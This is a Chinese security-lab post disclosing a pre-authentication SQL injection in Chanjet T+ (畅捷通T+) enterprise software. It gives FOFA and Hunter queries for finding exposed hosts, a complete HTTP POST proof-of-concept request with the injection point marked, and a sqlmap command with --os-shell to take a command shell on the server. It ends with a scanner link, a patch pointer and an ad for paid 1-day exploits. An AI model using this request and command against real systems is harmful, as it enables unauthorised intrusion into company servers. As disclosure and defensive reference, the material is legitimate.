0x01 阅读须知
天擎攻防实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 漏洞描述
（一） 用友畅捷通T+
用友畅捷通T+是一款企业管理软件，主要面向中小企业。它提供了包括财务、采购、销售、库存、生产制造、人力资源等在内的全面企业管理解决方案。通过用友畅捷通T+，企业可以实现对业务流程的数字化管理，提高工作效率，降低成本，增强企业竞争力。畅捷通T+存在前台SQL注入，导致命令执行。
FOFA语法：
app="畅捷通-TPlus"hunter语法：
app.name="畅捷通 T+" hunter共166,323条资产
（二） 漏洞poc
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1Host:Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0{"url":"11", "accNum":"1", "functionTag":"functionTag*"}
将数据包保存使用sqlmap获取主机权限：
python3 sqlmap.py -r shujubao.txt --random-agent -v 3 --dbms mssql --hex --os-shell
牧云本地检测工具
https://stack.chaitin.com/tool/detail?id=1178
运行 以下命令即可无害化扫描
./chanjet_tpluspop_sqli_scanner_windows_amd64.exe scan --output result.json
更多漏洞POC发布在知识星球
星球的最近主题和星球内部工具一些展示
星球内部成员的出货
Web安全漏洞最新1day分享漏洞挖掘技巧分享
加入星球请知识星球APP搜索天擎攻防实验室，更多精彩，敬请期待
0x03 修复方案
官方修复缓解措施
补丁链接
https://www.chanjet.com/about/